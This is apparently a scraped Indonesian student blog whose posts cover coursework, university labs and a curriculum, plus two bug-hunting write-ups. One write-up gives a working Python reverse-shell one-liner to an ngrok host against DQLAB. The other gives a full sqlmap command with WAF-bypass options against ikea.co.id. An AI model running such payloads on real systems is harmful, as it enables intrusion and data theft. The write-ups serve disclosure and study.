Code Injection On DQLAB

Code Injection On DQLAB

 


 

Apa Itu Code Injection (Kode Injeksi) dan Apa Dampaknya?

Dikutip dari https://www.owasp.org/index.php/Code_Injection, Kode Injeksi adalah istilah umum untuk jenis serangan yang terdiri dari kode yang disuntikan yang kemudian ditafsirkan / dieksekusi oleh aplikasi. Serangan ini biasanya dimungkinkan karena kurangnya validasi data input / output yang tepat, misalnya:

  • Jarakter yang diizinkan (kelas regular expressions standar atau khusus)
    format data

  • Jumlah data yang diharapkan

Jika berhasil meng-eksploitasi serangan ini, dampaknya dapat mencakup bocornya data, hilangnya data atau informasi yang telah dicuri oleh penyerang 

POC (Proof Of Concept) :

Saya mencoba menjalankan perintah shell dengan modul os, ternyata code tereksekusi dengan lancar 

import osos.system('uname -a')

lalu saya mencoba me-reverse shell via command line, sebelumnya saya menggunakan netcat untuk listener “nc -lvp 6969” Karena ip address saya bukan public ip maka saya akan forward ip address saya dengan ngrok “ngrok tcp 6969” kemudian gunakan public address yang di assign ngrok sebagai ip dan port dipayload yang dieksekusi. Berikut kode yang saya gunakan

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ngrok.io",12084));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);




Sekian dari saya kurang lebih mohon maaf , Wassalamualaikum Wr.Wb

SQL-Injection On Ikea.co.id

SQL-Injection On Ikea.co.id



IKEA SQL-Injection – Hello, Here I will share my experience of hunting bugs on an e-commerce site in Indonesia.This experience started when I was browsing to see and find references to articles for a college assignment I was working on,I saw banners / advertisements from the IKEA.CO.ID website which often popped up immediately crossed my mind to try to do a pentest on the website IKEA. CO.ID.

Prof Of Concept 

1. Visit Product Page "https://www.ikea.co.id/in/products/"

2. Search for a product & navigate to the product page according to the name of the product search

3. Get product filter and see json response on Network panel

 

 

 

 

 


 


4. I have the parameter in the url "https://www.ikea.co.id/in/products/template_reload?&q=meja&price="

5. I think the parameter price has sqli potential because I tried to enter in your SQL injection payload into price params i get error information on page. 

6. I tried the test with the sqlmap tools and I tried dump for get DB_NAME with payload ' ./sqlmap.py -u "https://www.ikea.co.id/in/products/template_reload?&q=meja&price=1" --random-agent -p"price" --risk=3 --level=3 --tamper=randomcase --threads=2 --text-only --no-cast --batch --dbms=postgresql --dbs '

7. I got 27 DATABASE NAME on system


    Refrensi:

    https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3
    https://medium.com/@vardanstres/advance-sqlmap-bypass-mod-security-bypass-bdb2e8b79bc

     

    Big Thank's To: 


    Timeline:

    • Oct 23, 2020   – Send Report.
    • Nov 20, 2020  – Bug fixing.
    • Jan 29, 2021   – Reward sent ($500).

    3D Ember : Desain virtual berbasis 3D Max sebagai Upaya Pengurangan Volume Sampah Permukaan pada air sungai

    3D Ember : Desain virtual berbasis 3D Max sebagai Upaya Pengurangan Volume Sampah Permukaan pada air sungai


    Oleh Irfan Hidayat, Dery Syams Ahnaf, Yudha Ardhi

    Menjaga lingkungan merupakan sebuah langkah awal yang berfungsi untuk mengurangi kerusakan bumi dan menjaga ekosistem yang ada. Selain itu menjaga lingkungan juga bisa menyelamatkan hewan-hewan dari kepunahan.
    Seiring bertambahnya populasi manusia sering kali dibarengi dengan penggunaan bahan yang kurang ramah terhadap lingkungan salah satunya penggunaan bahan plastic. Bahan plastic susah untuk di urai oleh organisme dan membutuhkan jutaan tahun untuk terurai dengan sempurna.
    Terlebih jika harus membuang sampah di sungai dan laut, kurangnya kesadaran dan tidak ada sanksi membuat sebagian orang dengan bebas membuang sampah dilautan. Hal ini akan menyebabkan kondisi air menjadi tercemar dan hewan yang dilaut akan mengalami keracunan dan mati.
    Jika tidak ada tindakan tegas maka laut tidak lagi akan menjadi sumber yang bisa dimanfaatkan karena kerusakan yang sudah parah. Ikan akan terus menjauh karena sampah yang terus merusak. 

    Sistem penyaringan air pada Seabin sangat mirip dengan filter air di tangki ikan peliharaan, tetapi didesain untuk membersihkan seluruh laut.

    Seabin dapat diinstal pada setiap dermaga apung dan dirancang untuk menyedot setiap sampah atau minyak yang mengambang di sekitar dermaga.

    Konsep ini sederhana: Sebuah ember dihubungkan dengan pompa air, kemudian ia menghisap sampah yang mengambang di laut ke dalam kantong jala yang dapat dilepas

    Sumber:

    http://ruangsipil.blogspot.com/2018/04/seabin-project-alat-penyedot-sampah.

    https://nationalgeographic.grid.id/read/13303111/seabin-ember-jenius-penghisap-sampah-dan-minyak-di-lautan?page=all

    Tugas 8 Individu PSI

    Tugas 8 Individu PSI

     

    Laboratorium prodi/jurusan Sistem Informasi

    ITS (https://www.its.ac.id/si/fasilitas/laboratorium-2/)
    Laboratorium di Departemen Sistem Informasi (DSI) dikelompokkan menjadi 2 bagian, yaitu: laboratorium pembelajaran (atau praktikum) dan laboratorium penelitian. DSI mempunyai 3 laboratorium pembelajaran yang disebut studio, yaitu: studio pemrograman, studio aplikasi terapan, dan studio sistem operasi. DSI juga memiliki 5 laboratorium penelitian, yaitu: Infrastuktur dan Keamanan Teknologi Informasi, Manajemen Sistem Informasi, Rekayasa Data & Intelegensi Bisnis,  Akuisisi Data dan Deseminasi Informasi  dan Sistem Enterprise.
    UM (http://elektro.um.ac.id/laboratorium/laboratorium-sistem-informasi/)
     
    Laboratorium Sistem Informasi merupakan salah satu laboratorium yang berada di bawah naungan Jurusan Teknik Elektro Fakultas Teknik Universitas Negeri Malang. Laboratorium dikhususkan pada bidang pembuatan dan pengembangan basis data dan sistem informasi. Laboratorium ini bertempat di gedung H5 lantai 2 ruang 212. Laboratorium ini memiliki daya tampung 30 s.d 40 mahasiswa. Dengan ukuran ruang cukup luas serta dilengkapi dengan AC dan sirkulasi udara membuat mahasiswa menjadi nyaman untuk beraktifitas di laboratorium ini.

    Fungsi utama laboratorium sistem informasi adalah untuk kegiatan praktikum atas teori yang sudah didapat dalam perkuliahan teori. Untuk menunjang fungsi dari laboratorium ini dan juga kegiatan pembelajaran yang ada didalamnya, di laboratorium ini terdapat alat-alat pendukung dalam melakukan kegiatan praktikum, seperti: Personal Computer (PC), LCD Proyektor, dan Jaringan Internet yang memadai, White Board dan peralatan lainnya yang berhubungan dengan jaringan komputer. Adapun perangkat lunak yang digunakan untuk mendukung kegiatan praktikum pada laboratorium sistem informasi ini antara lain: Oracle, MySQL, PostgreSQL, Apache Web Server, PHP Engine, Visual Paradigm, Navicat, SQLyog, MySQL Workbench, Power Designer, Netbeans, Java, Pencil, serta Microsoft Visual Studio. Selain untuk kegiatan praktikum, laboratorium ini juga digunakan untuk kegiatan pengerjaan skripsi/tugas akhir, diskusi, simulasi, pelatihan, dan penelitian terkait.

    • IT Telkom Surabaya

    Laboratorium

    Berikut ini merupakan bidang penelititan yang tersedia di Departemen Sistem Informasi :

    1. DATA AKUISISI DAN DISEMINASI INFORMASI (DATA ACQUISITION & INFORMATION DISSEMINATION)

    • Akuisisi Data 

    Data yang saat ini ada di sekitar kita heterogen, baik dari sisi struktur (terstruktur dan tidak terstruktur), lokasi (terdistribusi atau terpusat), dari berbagai sumber/resource (contoh: data dari website, pesan teks/sms, dan lain-lain), serta volume (contoh: data masif atau big data). 

    • Paradigma Pengolahan 

    Seiring dengan perkembangan sumber dan volume data, berkembang pula berbagai teknologi untuk mengolah data tersebut. Masing-masing dari teknologi tersebut merupakan implementasi dari paradigma yang berbeda mengenai data, dan diwujudkan dalam inovasi pada teknik-teknik pra-proses dan pengolahan data. 

    • Diseminasi Informasi 

    Proses dan metode pengolahan data menjadi informasi yang lebih bernilai

    Track : Data Acquisition and Information Dissemination (DAID)

     
    1. Database Management Systems
    2. Open Data
    3. Knowledge Management
    4. Semantics Web and Linked Data
    5. Big Data
    6. Web Services
    7. Social Media
    8. Social Networks
    9. Visualization Information
    10. Social Information Systems
    11. Social Informatics
    12. Spatial Information Systems
    13. Geographical Information Systems

    2. REKAYASA DATA DAN KECERDASAN BISNIS (DATA ENGINEERING & BUSINESS INTTELIGENCE)

    RDIB memiliki tujuan untuk menjadi pusat penelitian terkait pemanfaatan data yang mendukung analisis bisnis dan organisasi untuk bisa ditransformasi menjadi informasi bermakna serta pengetahuan sehingga berguna dalam pengambilan keputusan. Bidang-bidang keilmuan yang dicakup meliputi :
    •    Computerized Decision Support : Decision Support System, System Modelling and Analysis.
    •    Data Management: Database and Database Management System (DBMS); Extraction, Transformation, and Load (ETL) System; Data Warehouse (DW), real-time DW, and Data Mart.
    •    Business Analytic: Optimizations; Data/Web/Text Mining; Web Analytic; Peramalan
    •    Knowledge Management: Knowledge Management System, Expert Locating System, Ontology.
    •    Intelligent Systems: Expert System, Artificial Neural Network, Fuzzy Logic, Genetic Algorithm, Intelligent Agent, Automated Decision System. 

    Track : Data Engineering and Business Intelligence (DEBI)
    1. Business Intelligence
    2. Data Mining
    3. Intelligent Systems
    4. Artificial Intelligence
    5. Autonomous Agents
    6. Intelligent Agents
    7. Multi-Agent Systems
    8. Expert Systems
    9. Pattern Recognition
    10. Machine Learning
    11. Soft Computing
    12. Optimization
    13. Forecasting
    14. Meta-Heuristics
    15. Computational Intelligence

    3. MANAJEMEN SISTEM INFORMASI (INFORMATION SYSTEMS MANAGEMENT)

    Rancangan penelitian berisi isu-isu strategis yang menjadi fokus penelitian lab MSI yang merupakan manifestasi dari roadmap penelitian. Isu strategis dari penelitian lab MSI pada tahun 2016 – 2025 ini dibagi menjadi: 

    • TI sebagai tools Strategi 
    • Penerapan E-Government (egov) 
    • Manajemen & Perubahan Proyek TI 
    • Pengembangan Sistem Informasi 
    • Kedewasaan Proses TI 
    • Pengembangan Layanan TI 
    • Penjaminan Mutu Proses TI 
    • Pengelolaan Risiko TI 
    • IT Productivity Paradox, IT Business Value 

    Track : Information Systems Management (ISM)
    1. Software Engineering
    2. Software Design Pattern
    3. System Analysis and Design
    4. Research Methods of Information Systems
    5. Green Technology Strategies
    6. Strategic Information Systems
    7. IT Governance and Audits
    8. E-Government
    9. IT Service Management
    10. IT Project Management
    11. Information System Development
    12. Software Quality Assurance
    13. Adoption and Diffusion of Information Technology
    14. Health Information Systems and Technology
    15. Accounting Information Systems
    16. Human Behavior in Information System
    17. Social Technical Issues and Social Inclusion
    18. Domestication of Information Technology
    19. ICTs and Sustainable Development
    20. Information System in developing countries

    4. INFRASTRUKTUR TEKNOLOGI (IT INFRASTRUCTURE AND SECURITY)

    Isu strategis yang menjadi basis dan fokus penelitian laboratorium Infrastruktur Sistem dan Teknologi Informasi Jurusan Sistem Informasi, Fakultas Teknologi Informasi (FTIF) tahun 2015-2020 adalah terkait penelitian-penelitian dengan topik sebagai berikut: 

    • Infrastruktur Teknologi Informasi (Fokus pada Middle Layer ke Bawah dari OSI Layer) 
    • Energi 
    • Military Defense 
    • Transportasi dan Logistik 
    • Efisiensi melalui Monitoring Konsumsi Pemakaian Listrik 
    • Peningkatan Pemanfaatan Potensi Laut melalui Pengembangan Teknologi pada Bidang Kemaritiman 
    • Desain Arsitektur Software : Resilent Information Systems 

    Track : IT Infrastructure and Security (ITIS)
    1. Computer Security
    2. Information Security and Privacy
    3. Information Forensics
    4. Network Security
    5. Cryptography
    6. Cloud Computing and Virtualization
    7. Emerging Technologies
    8. Computer Vision and Image
    9. Service Oriented Architecture (SOA)
    10. Ethics in Information Systems
    11. Service Computing
    12. Computer Graphics
    13. Image Processing
    14. Speech Recognition
    15. Human Computer Interaction
    16. Augmented Reality
    17. Ubiquitous Computing
    18. Sensor Networks
    19. Medical Image Analysis
    20. Internet Technology
    21. Computational Biology and Bio-Informatics
    22. Game Development
    23. Mobile and Pervasive Computing
    24. Affective Computing
    25. Real-time Systems and Embedded Systems
    26. Parallel and Distributed Systems
    27. Computing on Graphics Processing Units (GPGPU)

    5. SISTEM ENTERPRISE (ENTERPRISE SYSTEMS)

    Bidang-bidang keilmuan yang dicakup meliputi : 

    • Sistem Enterprise: Pengelolaan Hubungan Pelanggan, Manajemen Rantai Pasok, Perencanaan Sumber Daya Perusahaan 
    • Manajemen Proses Bisnis: Process Mining, Alur Kerja 
    • Analisis dan Pemodelan Proses Bisnis: Analisis dan Pemodelan Sistem, Kecedasan Bisnis, Bisnis Analitis, Sistem Informasi Geografis 
    • Data and Knowledge Management: Data Warehousing, OLAP, Database 

    Track : Enterprise Systems (ES)
    1. Enterprise Resource Planning
    2. Business Process Management
    3. Customer Relationship Management
    4. Supply Chain Management and Logistics
    5. System Dynamics
    6. E-business and e-Commerce
    7. Marketing Analytics
    8. Marketplace Analytics
    9. Business Analytics and Knowledge Discovery
    10. Production Management
    11. Task Analysis
    12. Process Mining
    13. Discrete Event Simulation
    14. Service Science and Innovation
    15. Innovation in the Digital Economy

    Kelompok keahlian diprodi/jurusan Sistem Informasi







    Bidang  Pengetahuan       

     Teknologi Informasi :
    1. Arsitektur Komputer
    2. Algoritma dan Struktur Data
    3. Bahasa Pemrograman
    4. Sistem Operasi
    5. Telekomunikasi dan Jaringan Komputer
    6. Manajemen Data dan Informasi
    7. Kecerdasan Buatan
    8. Keamanan Informasi
    9. Interaksi Manusia dan Komputer
    10. Sistem dan Teknologi Web.
    11. Infrastruktur TI.


     

     

           Sistem Informasi dan Konsep Organisasi :

    1. Analisis Bisnis
    2. Desain Sistem Informasi
    3. Rekayasa Sistem Informasi
    4. Arsitektur Enterprise
    5. Perencanaan Aplikasi
    6. Manajemen Resiko
    7. Manajemen Proyek
    8. Perawatan dan Operasi Sistem
    9. Strategi Uji dan Implementasi Sistem Informasi
    10. Teori Umum Organisasi
    11. Manajemen Sistem Informasi
    12. Teori Keputusan
    13. Perilaku Organisasi
    14. Manajemen Perubahan
    15. Etika dan Legalitas Sistem Informasi
    16. Profesionalisme
    17. Kemampuan Antar Personal.  

           Bidang Peneliian :

    1. Information System Engineering
    2. Information Technology Governance
    3. Information Technology Strategic Planning
    4. Information System Management
    5. Risk Management
    6. Expert System
    7. Decision Support System
    8. Data Mining
    9. Data Warehouse
    10. Business Intelligence
    11. e-Business / e-Commerce
    12. Knowledge Management
    13. Social Informatics
    14. Information Security
    15. Web System and Technology
    16. Enterprise Architecture
    17. Mobile Application

    ITTS

    KK-Sistem Enterprise dan Manajemen Industri


    KK Sistem Elektronik Cerda
    s

    KK-Sistem Cerdas dan Teknologi Terintegrasi





     
    Contoh tugas akhir mahasiswa Sistem Informasi

    triosakti.wordpress.com/2020/01/07/tugas-11-individu-pengenalan-sistem-informasi/

    LATAR BELAKANG

    Seiring dengan berkembangnya sistem informasi saat ini, banyak sistem informasi pada organisasi yang ingin mencapai tahap sistem informasi secara cepat, relevan dan akurat. Pesatnya pertumbuhan ilmu pengetahuan teknologi khususnya di bidang komputer disetiap aspek kehidupan dan penggunaan teknologi komputer dan teknologi komunikasi yang menghasilkan sebuah penggabungan sistem informasi yang saat ini mudah untuk di akses tanpa adanya batasan waktu dan jarak dengan menggunakan jaringan internet. Model penjualan atau bisnis ikut terpengaruh dari perkembangan ilmu pengetahuan teknologi tersebut, terlebihnya dengan pesatnya pertumbuhan pengguna internet di berbagai belahaan dunia khususnya negara berkembang. Salah satu bisnis yang menjadi trend terbaru di masyarakat ini adalah dalam bidang belanja online.

    Sejauh ini banyak industri lem khususnya lem yang masih melakukan promosi dan penjualan melalui mulut ke mulut ataupun bentuk brosur, sehingga jangkauan promosi dan penjualan masih terbatas dan belum bisa meluas ke beberapa daerah. Kendala lain yang di alami oleh penjual lem yaitu persaingan yang ketat, hal itu membuat pengolah industri lem harus mempunyai strategi pemasaran yang berbeda dari pesaingnya. Untuk itu dibutuhkan sebuah aplikasi berbasis web berupa website yang mampu memberikan informasi mengenai produk kepada pelanggan dengan cepat melalui internet.

    Berdasarkan uraian latar belakang yang telah dijelaskan diatas, penulis mengambil judul mengenai “Sistem Informasi Pemasaran Berbasis Website Pada PT. Trimitra Sebagai Sarana Penjualan Produk Secara Online”

    STUDI KASUS

    PT. TRIMITRA SEBAGAI SARANA PENJUALAN PRODUK SECARA ONLINE

    METODE PENYELESAIAN

    Metode yang digunakan adalah:

    1. Metode Pengumpulan Data (Wawancara dan Observasi)
    2. Metode Analisa Sistem
    3. Metode Analisa Perancangan Program

    SOLUSI YANG DIHASILKAN

    Proses penjualan masih manual belum terkomputerisasi dan untuk memperbarui data di perusahaan tersebut dilakukan setiap hari dengan menyetor salinan surat bukti pembelian dari penjualan tersebut. Proses penjualan di New Java Comp ketika Customer memilih barang yang tersedia di website, sehingga customer dapat memilih dan melihat barang secara lengkap yang tersedia di perusahaan. Untuk pencatatan penjualan dilakukan menggunakan bukti faktur pembelian customer yang tersimpan di database ketika customer melakukan transaksi .

    Laboratorium
    RESUME  " SAYA SALAH JURUSAN ? "

    RESUME " SAYA SALAH JURUSAN ? "


     

    Nama : Yudha Ardi Firmansah

    NIM   : 1204200083

    Program Studi : Sistem Informasi 

    Kelas : IS 03-01

     

    Institut Teknologi Telkom Surabaya

    Resume Webinar Konsep Sistem Informasi “Saya Salah Jurusan?

    Konsep Salah Jurusan

    Merujuk pada istilah “Mahasiswa Salah Jurusan”, pada dasarnya apapun jurusan yang telah dipilih oleh setiap individu untuk melanjutkan studi jenjang perguruan tinggi merupakan suatu hal yang sama. Hal ini tetap bergantung pada bagaimana individu tersebut mengolah perspektif dari berbagai bola pandang.

    Generation Z

    Generasi Z merupakan generasi setelah Generasi Y yang didefinisikan sebagai orang-orang yang lahir dalam rentang tahun kelahiran 2010 sampai kini.

    Karakteristik daripada Gen Z antara lain:

    • Social
    • Multi-Taskers
    • Entrepreneurs
    • Educated
    • Philanthropists
    • Digital Natives
    • Interactive
    • Tech-Savvy
    • Less Focused
    • Cautious

    Gen Z merupakan self-starters. Self starter adalah seseorang yang mampu mengambil inisiatif dan dapat bekerja tanpa pengawasan dari atasan.

    Entering Society 5.0

    Society 5.0 merupakan konsep yang dirumuskan mantan Perdana Menteri Jepang Shinzo Abe dan dikemukakan di ajang CeBIT, Hannover di kota Hannover, Jerman pada tahun 2017. Abe menyebut bahwa konsep ini dapat membantu Jepang menangani berbagai permasalahan, yang kemudian konsep ini diresmikan pada Januari 2019.

    Masyarakat 5.0 adalah suatu konsep masyarakat yang berpusat pada manusia dan berbasis teknologi yang dikembangkan oleh Jepang. Konsep ini lahir sebagai pengembangan dari revolusi industri 4.0 yang dinilai berpotensi mendegradasi peran manusia.

    Melalui Society 5.0, kecerdasan buatan (Artificial Intelligence) akan mentransformasi big data yang dikumpulkan melalui internet pada segala bidang kehidupan (the Internet of Things) menjadi suatu kearifan baru, yang akan didedikasikan untuk meningkatkan kemampuan manusia membuka peluang-peluang bagi kemanusiaan.  

    Transformasi ini akan membantu manusia untuk menjalani kehidupan yang lebih bermakna.

    Sejarah Perkembangan Internet

    Sejarah perkembangan internet di dunia:

    • 1958 ARPA (The Advanced Research Projects Agency) dibentuk.
    • 1961 Munculnya prinsip transfer data di dalam suatu jaringan komputer.
    • 1965 Pertama kalinya dua buah komputer yang terpisah dalam jarak yang jauh dapat saling terhubung.
    • 1969 ARPA meluncurkan jaringan komputer ARPANET.
    • 1971 Pertama kali ditemukannya sistem surat menyurat secara elektronik.
    • 1974 Pertama kalinya digunakan istilah internet atau internetworking.
    • 1976 Ethernet sebagai jaringan LAN pertama diciptakan.
    • 1982 Protokol internet atau TCP/IP pertama kali dibuat.
    • 1991 World Wide Web pertama kali dikenalkan pada publik oleh CERN.
    • 1993 Pertama kalinya di dalam internet disiarkan sebuah broadcast radio.
    • 1994 Toko online pertama dibuat muncul bank virtual dan banner periklanan di internet.
    • 1999 Jaringan transfer file (terutama untuk keperluan distribusi file MP3) secara peer-to-peer dikenalkan.
    • 2010 Kru dari Stasiun Luar Angkasa Internasional (ISS) menerima akses langsung terhadap internet.
    • 2011 Tercatat lebih dari 357 juta website di dalam internet.

    Information Technology dan Information System

    Information Technology terdiri atas:

    • Hardware
    • Software
    • Databases
    • Networks
    • Other related components

    Information Tehcnology digunakan untuk membangun Information Systems:

    • Payroll System
    • Inventory System
    • Marketing System
    • Customer Service System
    • Health System

    Information Systems

    Pengertian Sistem Informasi

    Sistem dapat diartikan sebagai suatu kesatuan dari sesuatu yang sistematis dan ter-struktur serta menjalankan fungsi untuk mencapai suatu tujuan tertentu.

    Informasi dapat diartikan sejumlah data yang telah diolah dan memiliki kegunaan untuk suatu tujuan tertentu.

    Secara umum, sistem informasi merupakan suatu sistem yang di dalamnya memuat tentang berbagai informasi yang terkait dengan operasional suatu organisasi yang berguna untuk mengambil keputusan dalam mencapai tujuan organisasi

    Tujuan Sistem Informasi

    Untuk menyediakan informasi-informasi tertentu dalam pengambilan keputusan. Keberadaan data dalam sistem informasi akan sangat membantu dalam menyikapi suatu permasalahan.

    Komponen Sistem Informasi

    Komponen Sistem Informasi antara lain:

    • Orang
    • Perangkat Keras
    • Perangkat Lunak
    • Prosedur
    • Jaringan Komputer dan Komunikasi Data
    • Basis Data

    Mengapa bisa terjadi Salah Jurusan?

    • Jurusan tersebut tidak sesuai dengan passion.
    • Bukan karena keinginan pribadi, melainkan berdasarkan faktor tertentu.
    • Memilih jurusan dengan keinginan tetapi tidak yakin akan prospek kedepannya.
    • Masih belum mengetahui dimana letak minat dan bakat individu.

    Tips Mengatasi Keraguan dalam Memilih Jurusan :

    • Jangan gegabah untuk mengambil langkah.
    • Temukan hal positif di lingkungan sekitar.
    • Meningkatkan kemampuan beradaptasi.
    • Bersyukur karena banyak individu yang ingin menempati posisi tersebut.
    • Bangun relasi dan koneksi sebanyak mungkin.
    TUGAS KE – 7 PENGANTAR SISTEM INFORMASI

    TUGAS KE – 7 PENGANTAR SISTEM INFORMASI


    Pada kali ini membahas tentang :

    • Profil Lulusan Prodi S1 Sistem Informasi di ITTelkom Surabaya.
    • Pengelompokan MK Prodi S1 Sistem Informasi ITTelkom Surabaya.
    • Pengelompokan MK Prodi S1 Sistem Informasi ITTelkom Surabaya Berdasarkan 10 Body of Knowledge.

    A. Profil Lulusan Prodi S1 Sistem Informasi di ITTelkom Surabaya

    Profil lulusan Program Studi Sistem Informasi Institut Teknologi Telkom Surabaya dirancang berdasarkan kurikulum yang sesuai dengan kebutuhan industri maupun pemerintah untuk memenuhi kebutuhan bisnis di era saat ini. Kurikulum mengacu pada standar kurikulum internasional yakni Curriculum Guidelines for Undergraduate Degree Programs in Information Systems yang diterbitkan oleh Association of Computing Machinery (ACM) IS 2010, Association of Information System (AIS), Standar Baku Kerangka Kualifikasi Nasional Indonesia (KKNI) APTIKOM 2015.

    Program S1 Sistem Informasi menyiapkan lulusan S1 dengan kompetensi sebagai
    berikut:

    1. Sistem dan analis bisnis
    2. Manajer Proyek Sistem Informasi
    3. Auditor Sistem Informasi
    4. IS Engineer & Pengembangan ERP
    5. Technopreneur

    Deskripsi :

    1. Sistem Dan Analis Bisnis

    Peran dalam merancang struktur aplikasi yang dibangun, sebagai dasar/acuan Programmer dalam membuat aplikasi yang efektif menyelesaikan masalah, handal, well-written. Sekaligus menyelaraskan dengan proses bisnis perusahaan. Proses dari mereview, menganalisis, dan mengevaluasi permasalahan bisnis, proses bisnis, fungsi/struktur organisasi, sistem,  informasi yang digunakan, dan data dasar informasi serta merekomendasikan solusi-solusi permasalahan atau peningkatan performa bisnis perusahaan (termasuk di dalamnya mengembangkan dokumen UseCase,Spesifikasi sistem dan kriteria penerimaan Sistem Informasi solusi bisnis).  

    2. Manajer Proyek Sistem Informasi

    Peran mengoordinir dan mengelola sumber-daya dan aktivitas-aktivitas pembangunan Sistem Informasi (dapat berupa proyek pembangunan aplikasi dan/atau proyek tata kelola teknologi informasi).

    3. Auditor Sistem Informasi

    Peran mengevaluasi dan menemukan bukti-bukti apakah sebuah Sistem Informasi telah memenuhi standar tertentu (termasuk di dalamnya mengembangkan perangkat audit, melaksanakan proses audit, dan membuat laporan hasil audit).

    4. IS Engineer & Pengembangan ERP

    Peran mereview, menganalisis, mengevaluasi, dan mengembangkan permasalahan bisnis, proses bisnis, dan merekomendasikan solusi-solusi permasalahan atau peningkatan performa bisnis dengan paket/modul  sistem ERP (termasuk mendukung aktivitas perencanaan, implementasi, perawatan, dan optimisasi sistem ERP).

    5. Technopreneur

    Peran lulusan yang memiliki jiwa technopreneurship sehingga mampu mengembangkan bisnis di bidang ICT diantaranya dapat menjadi konsultan IT,menyediakan jasa pengembangan sistem informasi serta business process outsourcing.

    B. Pengelompokkan Mata Kuliah (MK) Prodi S1 Sistem Informasi ITTelkom Surabaya

    • Mata Kuliah Tingkat Institusi adalah mata kuliah yang diberikan secara rata ke seluruh Institusi.
    • Mata Kuliah Tingkat Fakultas adalah mata kuliah yang diberikan di semua jurusan akan tetapi hanya sebatas fakultas saja.
    • Mata Kuliah Tingkat Program Studi adalah mata kuliah yang diberikan khusus hanya di prodi masing – masing di setiap fakultas.
    • Mata Kuliah Dasar Umum (MKDU) adalah mata kuliah yang wajib diberikan di setiap Perguruan Tinggi.
    • Mata Kuliah Pilihan / Peminatan (MKP) adalah mata kuliah pilihan yang telah disediakan oleh kampus untuk dipilih oleh setiap mahasiswa yang sesuai dengan passion mereka masing – masing pada saat menjelang semester ke atas.

    Pengelompokkan Mata Kuliah Prodi Sistem Informasi IT Telkom Surabaya
    1. Mata Kuliah Tingkat Institusi

    Nama Mata KuliahSKS
    Bahasa Inggris 12
    Literasi TIK2
    Bahasa Indonesia2
    Pendidikan Agama dan Etika – Islam2
    Statistika Industri3
    Kewirausahaan2
    Bahasa Inggris 22
    Pancasila dan Kewarganegaraan2

    2. Mata Kuliah Tingkat Fakultas

    Nama Mata KuliahSKS
    Kalkulus 1B3
    Matematika Diskrit3
    Algoritma dan Pemrograman3
    Praktikum Algoritma dan Pemrograman1
    Teori Probabilitas3
    Matriks dan Vektor3
    Algoritma dan Struktur Data3
    Praktikum Algoritma dan Struktur Data1
    Perancangan Basis Data3
    Praktikum Perancangan Basis Data1
    Ekonomi Teknik2
    Praktik Kerja Lapangan2
    Metode Penelitian dan Pengembangan2
    Tugas Akhir4

    3. Mata Kuliah Tingkat Program Studi

    Nama Mata KuliahSKS
    Konsep Teknologi2
    Pengantar Sistem Informasi3
    Arsitektur dan Organisasi Komputer2
    Kepemimpinan dan Komunikasi Interpersonal3
    Sistem Enterprise3
    Perilaku Organisasi3
    Pemrograman Berbasis Objek2
    Praktikum Pemrograman Berbasis Objek1
    Pemodelan Proses Bisnis3
    Sistem Informasi Akuntansi3
    Analisis dan Perancangan Sistem Informasi3
    Perancangan Interaksi3
    Rekayasa Proses Bisnis3
    Jaringan Komputer dan Komunikasi Data3
    Praktikum Jaringan Komputer dan Komunikasi Data1
    Manajemen Rantai Pasok3
    Arsitektur Sistem Enterprise3
    Manajemen Proyek Sistem Informasi3
    Pengembangan Aplikasi Web3
    Praktikum Pengembangan Aplikasi Web1
    Manajemen Sumber Daya Manusia3
    Sistem Operasi Komputer3
    Keamanan Sistem Informasi3
    Rekayasa Perangkat Lunak Capstone Project3
    Manajemen Layanan3
    Etika Profesi Teknologi Informasi2
    Peminatan Logistik3
    Peminatan Transportasi3
    Tata Kelola dan Manajemen Teknologi Informasi2
    Manajemen Hubungan Pelanggan3
    Kapita Selekta2

    4. Mata Kuliah Dasar Umum

    Nama Mata KuliahSKS
    Bahasa Inggris 12
    Bahasa Indonesia2
    Pendidikan Agama dan Etika – Islam2
    Bahasa Inggris 22
    Pancasila dan Kewarganegaraan2

    5. Mata Kuliah Peminatan

    Nama Mata KuliahSKS
    Manajemen Logistik3
    Teknologi Logistik3
    Sistem Informasi Logistik3
    Data Warehouse dan Intelijen Bisnis3
    Manajemen Transportasi3
    Manajemen Resiko3
    Sistem Transportasi3
    Sistem Informasi Geografis3
    Manajemen Pelabuhan3
    Tata Kelola Transportasi Laut3
    Manajemen Kapal3
    Pengantar Strategi Sistem Informasi3
    Pemantauan Evaluasi Sistem Informasi3
    Pengembangan Aplikasi Bergerak3
    Konfigurasi dan Implementasi ERP3
    Teknik Audit dan Kontrol Sistem Informasi3
    Manajemen Perubahan3
    Magang4

    C. Pengelompokan MK Prodi S1 Sistem Informasi ITTelkom Surabaya Berdasarkan 10 Body of Knowledge.

    Penjelasan gambar di atas :

    Topik KeilmuanMata Kuliah Terkait
    Matematika dan StatistikStatistics; Struktur Diskrit; Math FundamentalsKalkulus; Matematika Diskrit; Aljabar Linier; Statistika dan Probabilitas; Statistika untuk Bisnis; Riset Operasional
    Algoritma dan PemrogramanAlgoritma dan Kompleksitas; Bahasa PemrogramanDasar-dasar Pemrograman; Struktur Data dan Algoritma; Pemrograman Berorientasi Obyek; Web Programming
    Rekayasa Perangkat LunakDasar-dasar Pengembangan Perangkat LunakSADT (Analisis dan Perancangan Sistem);
    Komputer ArsitekturArsitektur dan Organisasi Komputer; Sistem Operasi; Grafik dan VisualisasiArsitektur dan Organisasi Komputer; Sistem Operasi; Grafik dan Visualisasi
    Sistem TerdistribusiJaringan dan Komunikasi;Dasar Infrastruktur Teknologi Informasi; Komunikasi Data;
    Bisnis dan ManajemenFunctional Business Areas; E-business; Decision Theory; Business Models: Organizational Theory: Organizational BehaviourTeori Organisasi; Perilaku Organisasi; Pengantar Bisnis; Dasar-dasar Manajemen; Teknik Pengambilan Keputusan; E-Commerce
    Pengelolaan Data dan InformasiDatabase Management System; Information SecurityDBMS; Introduction to Information Security
    Sistem InformasiManajemen Proyek; Change Management; Risk Management;Manajemen Proyek; Change Management;
    Sistem EnterpriseArsitektur Enterprise; Integrasi SistemArsitektur Enterprise; Integrasi Sistem
    Kecakapan HidupKomputer dan Masyarakat, Kerja Praktik/Magang, Skripsi/Tugas AkhirKomputer dan Masyarakat, Kerja Praktik/Magang, Skripsi/Tugas Akhir

     

     

     

     

     

